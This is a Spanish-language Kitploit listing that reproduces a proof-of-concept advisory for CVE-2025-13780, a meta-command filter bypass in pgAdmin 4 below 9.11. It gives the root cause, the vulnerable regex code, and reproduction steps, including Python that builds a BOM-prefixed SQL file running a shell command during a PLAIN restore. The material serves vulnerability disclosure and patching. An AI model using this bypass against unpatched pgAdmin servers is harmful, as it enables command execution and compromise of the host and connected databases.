Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
pgadmin4-9.10-CVE-2025-13780 — Prueba de concepto para CVE-2025-13780 | Kitploit
Herramientas/GitHubGitHub/zeropwn/pgadmin4-9.10-cve-2025-13780
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlDesarrollo de Payloads
GitHubzeropwn/pgadmin4-9.10-cve-2025-13780

pgadmin4-9.10-CVE-2025-13780

Prueba de concepto para CVE-2025-13780

Ver Repositorio
1411hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

pgadmin4 < 9.11 Ejecución de comandos mediante el filtro de meta-comandos

Resumen

El filtro de meta-comandos de restauración PLAIN introducido en pgAdmin como parte de la corrección del Issue 9320 no detecta meta-comandos cuando un archivo SQL comienza con una Marca de Orden de Bytes UTF-8 (EF BB BF) u otras secuencias especiales. El filtro implementado utiliza la función has_meta_commands(), que escanea los bytes brutos mediante una expresión regular. La expresión regular no trata los bytes como ignorables, por lo que meta-comandos como ! permanecen sin detectar. Cuando pgAdmin invoca psql con --file, psql elimina los bytes y ejecuta el comando. Esto puede resultar en la ejecución remota de comandos durante una operación de restauración.

Esta omisión afecta al parche introducido en el commit 1d397395f75320ca1d4ed5e9ca721c603415e836 (https://github.com/pgadmin-org/pgadmin4/commit/1d397395f75320ca1d4ed5e9ca721c603415e836)

Versiones afectadas

Afectación confirmada:

  • pgAdmin 9.10 snapshot
    Commit: 63ee81202b65e1e8923eb1b917b49312a6fb7df2 (2025-11-13)

Posiblemente afectados:

  • Cualquier versión que contenga la función has_meta_commands() parcheada del commit 1d397395f75320ca1d4ed5e9ca721c603415e836

Mitigación

  • 9.11+: las restauraciones PLAIN se ejecutan en el modo restringido de psql (\restrict), por lo que los meta-comandos ahora son bloqueados por el propio psql
  • 9.10: vulnerable a la omisión del filtro.

Detalles

Ubicación:

  • web/pgadmin/tools/restore/__init__.py
  • Función has_meta_commands()

Código relevante (de la versión parcheada):

root@kitploit:~
def has_meta_commands(path, chunk_size=8 * 1024 * 1024):
    pattern = re.compile(br'(^|\n)[ \t]*\\')

    with open(path, "rb") as f:
        prev_tail = b""
        while chunk := f.read(chunk_size):
            data = prev_tail + chunk

            if pattern.search(data):
                return True

            prev_tail = data[-10:]

    return False

Causa raíz:

  1. Los archivos SQL se abren en modo binario.
  2. La expresión regular solo trata los espacios y las tabulaciones como ignorables antes de una barra invertida.
  3. Una BOM UTF-8 (EF BB BF) o una secuencia similar colocada antes de la barra invertida impide la detección.
  4. pgAdmin concluye incorrectamente que el archivo no contiene meta-comandos.
  5. psql elimina la BOM al leer el archivo y ejecuta el meta-comando con normalidad.

Comportamiento esperado:

  • Los archivos SQL que contienen meta-comandos deberían bloquearse independientemente de la BOM.

Comportamiento real:

  • Los meta-comandos con prefijo BOM omiten el filtro y permiten su ejecución.

Pasos de reproducción

Paso 1: Crea un archivo SQL que comience con una BOM y un meta-comando.

root@kitploit:~
payload = b"\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran\nSELECT 1;\n"
with open("bypass_bom.sql", "wb") as f:
    f.write(payload)

Paso 2: Verifica la BOM:

root@kitploit:~
xxd bypass_bom.sql | head -1

Esperado:

root@kitploit:~
ef bb bf 5c 21 ...

Paso 3: Coloca el archivo en el almacenamiento de pgAdmin:

root@kitploit:~
/var/lib/pgadmin/storage/<user>/bypass_bom.sql

Paso 4: En pgAdmin: Restaurar -> Formato: PLAIN -> selecciona bypass_bom.sql -> Ejecutar

Paso 5: Verifica la ejecución:

root@kitploit:~
ls /tmp/bom_ran

El archivo de control sin BOM se bloquea correctamente.

Prueba de concepto (PoC)

Payload con prefijo BOM:

root@kitploit:~
\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran
SELECT 1;

Payload de control:

root@kitploit:~
\\! echo SHOULD_BE_BLOCKED
SELECT 1;

Impacto

  • Ejecución de comandos a través de meta-comandos.
  • Lectura/escritura arbitraria de archivos.
  • Compromiso total del host de pgAdmin.
  • Posible compromiso de los servidores PostgreSQL conectados.
Descargar herramienta